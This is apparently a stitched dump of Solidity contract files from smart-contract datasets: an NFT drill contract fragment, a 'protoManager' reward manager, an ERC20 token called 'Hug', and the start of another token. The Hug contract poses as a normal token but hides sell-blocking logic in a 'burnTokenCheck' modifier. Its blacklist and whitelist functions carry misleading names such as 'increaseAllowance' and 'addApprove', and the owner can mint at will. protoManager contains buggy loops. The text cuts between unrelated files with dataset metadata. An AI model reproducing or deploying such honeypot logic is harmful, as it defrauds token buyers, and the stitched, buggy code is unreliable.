require(lastSynced < threeDaysAgo, "You can transfer this Three Days after you minted or last transfered");
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
syncedAt[to] = block.timestamp;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _setApprovalForAll(address owner,
address operator,
bool approved) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _checkOnERC721Received(address from,
address to,
uint256 tokenId,
bytes memory _data) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 tokenId) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 tokenId) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Drill is ERC721, Ownable {
address public minter;
uint public totalSupply;
constructor() public ERC721("Pixel Mine Drill", "PMD") {
minter = msg.sender;
}
function passMinterRole(address newMinter) public returns (bool) {
require(msg.sender==minter, "You are not minter");
minter = newMinter;
return true;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(tokenId <= 2000);
return "https://pixelmine.com/play/nfts/drill";
}
function mint(address account, uint256 amount) public {
require(amount == 1, "You can only collect one NFT Drill");
require(msg.sender == minter, "You are not the minter");
require(totalSupply <= 2100, "Only 2000 drills can be minted");
require(balanceOf(account) < 1, "A Mine can only have 1 nft Drill");
uint256 tokenId = totalSupply + 1;
_mint(account, tokenId);
totalSupply = totalSupply + 1;
}
function premint() public {
require(msg.sender == minter, "You are not minter! You are not enabled!");
for (uint i=0; i<100; i++) {
uint256 tokenId = totalSupply + 1;
_mint(msg.sender, tokenId);
totalSupply = totalSupply + 1;
}
}
}
| 172,240 | 10,388 |
874ff40ee2ff4f4b1a687b976bd8d56030b885f4665fab5ec529983d154b5e12
| 22,473 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/74/747ce627e558eee7d4a8510fe3512a540401ca2a_protoManager.sol
| 6,457 | 21,614 |
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
library boostLib {
using SafeMath for uint256;
function calcReward(uint256 _dailyRewardsPerc,uint256 _timeStep,uint256 _timestamp, uint256 _lastClaimTime, uint256 _boost_) internal pure returns (uint256,uint256){
uint256 _one_ = 1;
uint256 one = _one_*(10**18)/1440;
uint256 elapsed = _timestamp - _lastClaimTime;
uint256 _rewardsPerDay = doPercentage(one, _dailyRewardsPerc);
(uint256 _rewardsTMul,uint256 _dayMultiple1) = getMultiple(elapsed,_timeStep,_rewardsPerDay);
uint256[2] memory _rewards_ = addFee(_rewardsTMul,_boost_);
uint256 _rewards = _rewards_[0];
uint256 _boost = _rewards_[1];
uint256 _all = _rewards+_boost;
return (_all,_boost);
}
function doPercentage(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 xx = 0;
if (y !=0){
xx = x.div((10000)/(y)).mul(100);
}
return xx;
}
function addFee(uint256 x,uint256 y) internal pure returns (uint256[2] memory) {
(uint256 w, uint256 y_2) = getMultiple(y,100,x);
return [w,doPercentage(x,y_2)];
}
function getMultiple(uint256 x,uint256 y,uint256 z) internal pure returns (uint,uint256) {
uint i = 0;
uint256 w = z;
while(x > y){
i++;
x = x - y;
z += w;
}
return (z,x);
}
function isInList(address x, address[] memory y) internal pure returns (bool){
for (uint i =0; i < y.length; i++) {
if (y[i] == x){
return true;
}
}
return false;
}
}
library nebuLib {
function addressInList(address[] memory _list, address _account) internal pure returns (bool){
for(uint i=0;i<_list.length;i++){
if(_account == _list[i]){
return true;
}
}
return false;
}
function mainBalance(address _account) internal view returns (uint256){
uint256 _balance = _account.balance;
return _balance;
}
function getMultiple(uint256 _x,uint256 _y)internal pure returns(uint256){
uint256 Zero = 0;
if (_y == Zero || _x == Zero || _x > _y){
return Zero;
}
uint256 z = _y;
uint256 i = 0;
while(z >= _x){
z -=_x;
i++;
}
return i;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract feeManager is Context {
function isInsolvent(address _account,string memory _name) external virtual view returns(bool);
function createProtos(address _account,string memory _name) external virtual;
function collapseProto(address _account,string memory _name) external virtual;
function payFee() payable virtual external;
function changeName(string memory _name,string memory new_name) external virtual;
function viewFeeInfo(address _account,string memory _name) external virtual view returns(uint256,uint256,bool,bool,bool,bool);
function getPeriodInfo() external virtual returns (uint256,uint256,uint256);
function getAccountsLength() external virtual view returns(uint256);
function accountExists(address _account) external virtual view returns (bool);
}
abstract contract prevProtoManager is Context {
function getDeadStarsData(address _account, uint256 _x) external virtual returns(string memory,uint256,uint256,uint256,uint256,uint256,uint256,bool,bool);
function protoAccountData(address _account, uint256 _x) external virtual returns(string memory,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256);
function protoAccountExists(address _account) external virtual returns (bool);
function getCollapseDate(address _account,uint256 _x) external virtual view returns(uint256);
function getdeadStarsLength(address _account) external virtual view returns(uint256);
function getProtoAccountsLength() external virtual view returns(uint256);
function getProtoAddress(uint256 _x) external virtual view returns(address);
function getProtoStarsLength(address _account) external virtual view returns(uint256);
}
abstract contract overseer is Context {
function getMultiplier(uint256 _x) external virtual returns(uint256);
function getBoostPerMin(uint256 _x) external virtual view returns(uint256);
function getRewardsPerMin() external virtual view returns (uint256);
function getCashoutRed(uint256 _x) external virtual view returns (uint256);
function getNftTimes(address _account, uint256 _id,uint256 _x) external virtual view returns(uint256);
function isStaked(address _account) internal virtual returns(bool);
function getNftAmount(address _account, uint256 _id) external view virtual returns(uint256);
function getFee() external virtual view returns(uint256);
function getModFee(uint256 _val) external virtual view returns(uint256);
function getNftPrice(uint _val) external virtual view returns(uint256);
function getEm() external virtual view returns (uint256);
}
contract protoManager is Ownable {
string public constant name = "NebulaProtoStarManager";
string public constant symbol = "PMGR";
using SafeMath for uint256;
using SafeMath for uint;
struct PROTOstars {
string name;
uint256 creationTime;
uint256 lastClaimTime;
uint256 protoElapsed;
uint256 rewards;
uint256 boost;
uint256 protoLife;
uint256 lifeDecrease;
uint256 collapseDate;
bool insolvent;
}
struct DEADStars {
string name;
uint256 creationTime;
uint256 lastClaimTime;
uint256 protoElapsed;
uint256 rewards;
uint256 boost;
uint256 collapseDate;
bool insolvent;
bool imploded;
}
struct TIMES {
uint256 claimTime;
uint256 boostRewardsMin;
uint256 rewardsMin;
uint256 timeBoost;
uint256 timeRegular;
uint256 cashoutFeeRegular;
uint256 cashoutFee;
uint256 lifeDecrease;
uint256 tempRewards;
uint256 tempBoost;
uint256 tempTotRewards;
}
mapping(address => PROTOstars[]) public protostars;
mapping(address => DEADStars[]) public deadstars;
mapping(address => TIMES[]) public nftTimes;
address[] public PROTOaccounts;
address[] public PROTOtransfered;
address[] public Managers;
uint256[] public nftsHeld;
uint256 public Zero = 0;
uint256 public one = 1;
uint256 public gas = 1*(10**17);
uint256 public protoLife = 500 days;
uint256 public claimFee;
uint256 public rewardsPerMin;
uint256[] public boostmultiplier;
uint256[] public boostRewardsPerMin;
uint256[] public cashoutRed;
uint256[] public times;
address Guard;
bool public fees = false;
overseer public over;
feeManager public feeMGR;
address public nftAddress;
address payable public treasury;
modifier managerOnly() {require(nebuLib.addressInList(Managers,msg.sender)== true); _;}
modifier onlyGuard() {require(owner() == _msgSender() || Guard == _msgSender() || nebuLib.addressInList(Managers,_msgSender()) == true, "NOT_GUARD");_;}
constructor(address overseer_ ,address _feeManager, address payable _treasury) {
over = overseer(overseer_);
treasury = _treasury;
feeMGR = feeManager(_feeManager);
Managers.push(owner());
rewardsPerMin = over.getRewardsPerMin();
for(uint i=0;i<3;i++){
boostmultiplier.push(over.getMultiplier(i));
boostRewardsPerMin.push(over.getRewardsPerMin());
cashoutRed.push(over.getCashoutRed(i));
}
}
function queryProtos(address _account) internal returns(bool){
PROTOstars[] storage protos = protostars[_account];
for(uint i=0;i<protos.length;i++){
PROTOstars storage proto = protos[i];
(uint256 nextDue,uint256 feeFroze,bool owed,bool full,bool insolvent,bool imploded) = feeMGR.viewFeeInfo(_account,proto.name);
if(imploded == true){
collapseProto(_account,i);
return false;
}
}
return true;
}
function queryProtoRewards(address _account) external returns(uint256,uint256){
require(nebuLib.addressInList(PROTOaccounts,_account) == true,"you do not hold any active Protostars");
while(queryProtos(_account) == false){
queryProtos(_account);
}
uint256 totalRewards;
uint256 cashoutFee;
PROTOstars[] storage protos = protostars[_account];
TIMES[] storage times = nftTimes[_account];
for(uint i=0;i<protos.length;i++){
PROTOstars storage proto = protos[i];
TIMES storage time = times[i];
string memory _name = protos[i].name;
if(feeMGR.isInsolvent(_account,_name) != true){
totalRewards += time.tempTotRewards;
cashoutFee += time.cashoutFee;
}
}
return (totalRewards,cashoutFee);
}
function recProtoRewards(address _account) external onlyGuard{
PROTOstars[] storage stars = protostars[_account];
TIMES[] storage times = nftTimes[_account];
for(uint i=0;i<stars.length;i++){
PROTOstars storage star = stars[i];
TIMES storage time = times[i];
star.lastClaimTime = star.lastClaimTime;
star.protoElapsed =star.lastClaimTime - star.creationTime;
star.rewards += time.tempRewards;
star.lifeDecrease += time.lifeDecrease;
star.boost += time.tempBoost;
star.collapseDate = star.protoLife - star.lifeDecrease - star.protoElapsed;
}
}
function createBatchProto(address[] memory _accounts, string[] memory _names) external onlyGuard {
for(uint i=0;i<_names.length;i++){
string memory _name = _names[i];
for(uint j=0;i<_accounts.length;j++){
address _account = _accounts[j];
require(bytes(_name).length > 3 && bytes(_name).length < 32,"the Node name must be within 3 and 32 characters");
require(nameExists(_account,_name) == false,"name has already been used");
if (nebuLib.addressInList(PROTOaccounts,_account) == false){
PROTOaccounts.push(_account);
}
PROTOstars[] storage protos = protostars[_account];
//(uint256 feePeriod,uint256 gracePeriod,uint256 protoLife) = feeMGR.getPeriodInfo();
uint256 _time = block.timestamp;
uint256 collapse = _time.add(protoLife);
protos.push(PROTOstars({
name:_name,
creationTime:_time,
lastClaimTime:_time,
lifeDecrease:Zero,
protoElapsed:Zero,
rewards:Zero,
boost:Zero,
protoLife:protoLife,
collapseDate:collapse,
insolvent:false
}));
feeMGR.createProtos(_account,_name);
}
}
}
function addProto(address _account, string memory _name) external onlyGuard {
require(bytes(_name).length > 3 && bytes(_name).length < 32,"the Node name must be within 3 and 32 characters");
require(nameExists(_account,_name) == false,"name has already been used");
if (nebuLib.addressInList(PROTOaccounts,_account) == false){
PROTOaccounts.push(_account);
}
PROTOstars[] storage protos = protostars[_account];
//(uint256 feePeriod,uint256 gracePeriod,uint256 protoLife) = feeMGR.getPeriodInfo();
uint256 _time = block.timestamp;
uint256 collapse = _time.add(protoLife);
protos.push(PROTOstars({
name:_name,
creationTime:_time,
lastClaimTime:_time,
lifeDecrease:Zero,
protoElapsed:Zero,
rewards:Zero,
boost:Zero,
protoLife:protoLife,
collapseDate:collapse,
insolvent:false
}));
feeMGR.createProtos(_account,_name);
}
function collapseProto(address _account, uint256 _x) internal {
PROTOstars[] storage protos = protostars[_account];
PROTOstars storage proto = protos[_x];
DEADStars[] storage dead = deadstars[_account];
(uint256 nextDue,uint256 feeFroze,bool owed,bool full,bool insolvent,bool imploded) = feeMGR.viewFeeInfo(_account,proto.name);
dead.push(DEADStars({
name:proto.name,
creationTime:proto.creationTime,
lastClaimTime:proto.lastClaimTime,
protoElapsed:proto.protoElapsed,
rewards:proto.rewards,
boost:proto.boost,
collapseDate:proto.collapseDate,
insolvent:insolvent,
imploded:true
}));
for(uint i=_x;i<protos.length;i++){
if(i != protos.length-1){
PROTOstars storage proto_bef = protos[i];
PROTOstars storage proto_now = protos[i+1];
proto_bef.name = proto_now.name;
proto_bef.creationTime = proto_now.creationTime;
proto_bef.protoElapsed = proto_now.protoElapsed;
proto_bef.collapseDate = block.timestamp;
}
}
protos.pop();
feeMGR.collapseProto(_account,proto.name);
}
function transferAllProtoData(address prev) external onlyGuard() {
prevProtoManager _prev = prevProtoManager(prev);
uint256 accts = _prev.getProtoAccountsLength();
for(uint i=0;i<accts;i++){
address _account = _prev.getProtoAddress(i);
if(nebuLib.addressInList(PROTOtransfered,_account) == false){
PROTOstars[] storage stars = protostars[_account];
uint256 P_stars = _prev.getProtoStarsLength(_account);
for(uint j=0;j<P_stars;j++){
(string memory a,uint256 b,uint256 c,uint256 d,uint256 e,uint256 f,uint256 g,uint256 h,uint256 i) = _prev.protoAccountData(_account,j);
stars.push(PROTOstars({
name:a,
creationTime:b,
lastClaimTime:c,
lifeDecrease:d,
protoElapsed:e,
rewards:f,
boost:g,
protoLife:h,
collapseDate:i,
insolvent:false
}));
}
}
DEADStars[] storage dead = deadstars[_account];
uint256 D_stars = _prev.getdeadStarsLength(_account);
for(uint j=0;j<D_stars;j++){
(string memory a, uint256 b, uint256 c, uint256 d, uint256 e, uint256 f, uint256 g, bool h,bool i) = _prev.getDeadStarsData(_account,j);
dead.push(DEADStars({
name:a,
creationTime:b,
lastClaimTime:c,
protoElapsed:d,
rewards:e,
boost:f,
collapseDate:g,
insolvent:h,
imploded:i
}));
}
PROTOtransfered.push(_account);
}
}
function nameExists(address _account, string memory _name) internal view returns(bool){
PROTOstars[] storage protos = protostars[_account];
for(uint i = 0;i<protos.length;i++) {
PROTOstars storage proto = protos[i];
string memory name = proto.name;
if(keccak256(bytes(name)) == keccak256(bytes(_name))){
return true;
}
}
return false;
}
function findFromName(address _account, string memory _name) internal view returns(uint256){
PROTOstars[] storage protos = protostars[_account];
for(uint i = 0;i<protos.length;i++) {
PROTOstars storage proto = protos[i];
if(keccak256(bytes(proto.name)) == keccak256(bytes(_name))){
return i;
}
}
}
function changeFeeManager(address _address) external onlyGuard {
address _feeManager = _address;
feeMGR = feeManager(_feeManager);
}
function changeName(string memory _name,string memory new_name) external {
address _account = msg.sender;
require(nameExists(_account,_name) == true,"name does not exists");
require(nebuLib.addressInList(PROTOaccounts,_account) == true,"you do not hold any Protostars Currently");
PROTOstars[] storage protos = protostars[_account];
PROTOstars storage proto = protos[findFromName(_account,_name)];
proto.name = new_name;
feeMGR.changeName(_name,new_name);
}
function getDeadStarsData(address _account, uint256 _x) external onlyGuard() returns(string memory,uint256,uint256,uint256,uint256,uint256,bool,bool){
DEADStars[] storage deads = deadstars[_account];
DEADStars storage dead = deads[_x];
return (dead.name,dead.creationTime,dead.lastClaimTime,dead.rewards,dead.boost,dead.collapseDate,dead.insolvent,dead.imploded);
}
function protoAccountData(address _account, uint256 _x) external onlyGuard() returns(string memory,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256){
PROTOstars[] storage stars = protostars[_account];
PROTOstars storage star = stars[_x];
return (star.name,star.creationTime,star.lastClaimTime,star.protoElapsed,star.rewards,star.boost,star.protoLife,star.lifeDecrease,star.collapseDate);
}
function protoAccountExists(address _account) external returns (bool) {
return nebuLib.addressInList(PROTOaccounts,_account);
}
function getCollapseDate(address _account,string memory _name) external view returns(uint256) {
PROTOstars[] storage stars = protostars[_account];
PROTOstars storage star = stars[findFromName(_account,_name)];
return star.collapseDate;
}
function getdeadStarsLength(address _account) external view returns(uint256){
DEADStars[] storage deads = deadstars[_account];
return deads.length;
}
function getProtoAccountsLength() external view returns(uint256){
return PROTOaccounts.length;
}
function getProtoAddress(uint256 _x) external view returns(address){
return PROTOaccounts[_x];
}
function getProtoStarsLength(address _account) external view returns(uint256){
PROTOstars[] storage stars = protostars[_account];
return stars.length;
}
function updateTreasury(address payable _treasury) external onlyOwner() {
treasury = _treasury;
}
function updateFeeManager(address _feeManager) external onlyGuard(){
feeMGR = feeManager(_feeManager);
}
function updateRewardsPerMin() external onlyGuard() {
rewardsPerMin = over.getRewardsPerMin();
for(uint i=0;i<3;i++){
boostRewardsPerMin[i] = over.getBoostPerMin(i);
}
}
function updateGuard(address newVal) external onlyOwner {
Guard = newVal; //token swap address
}
function updateManagers(address newVal) external onlyOwner {
if(nebuLib.addressInList(Managers,newVal) ==false){
Managers.push(newVal); //token swap address
}
}
}
| 91,637 | 10,389 |
dacdb9baef4bd98b20b0dc68e08398f61c559deb1d93abcbc7d44137ddbf2345
| 30,013 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/d3/d3d6bef780f0e7a3f6fa3444262e1ab1c4ff6dc9_Hug.sol
| 3,392 | 12,608 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Hug is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0xE54Ca86531e17Ef3616d22Ca28b0D458b6C89106;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 90,899 | 10,390 |
19cf35fb84f8215d283caeb654cfc1f3e36dfb1e40a55e4f700e94b237fbd936
| 19,830 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xa4480957629da7986efe389ca2be86a9fab7481b.sol
| 3,115 | 11,584 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
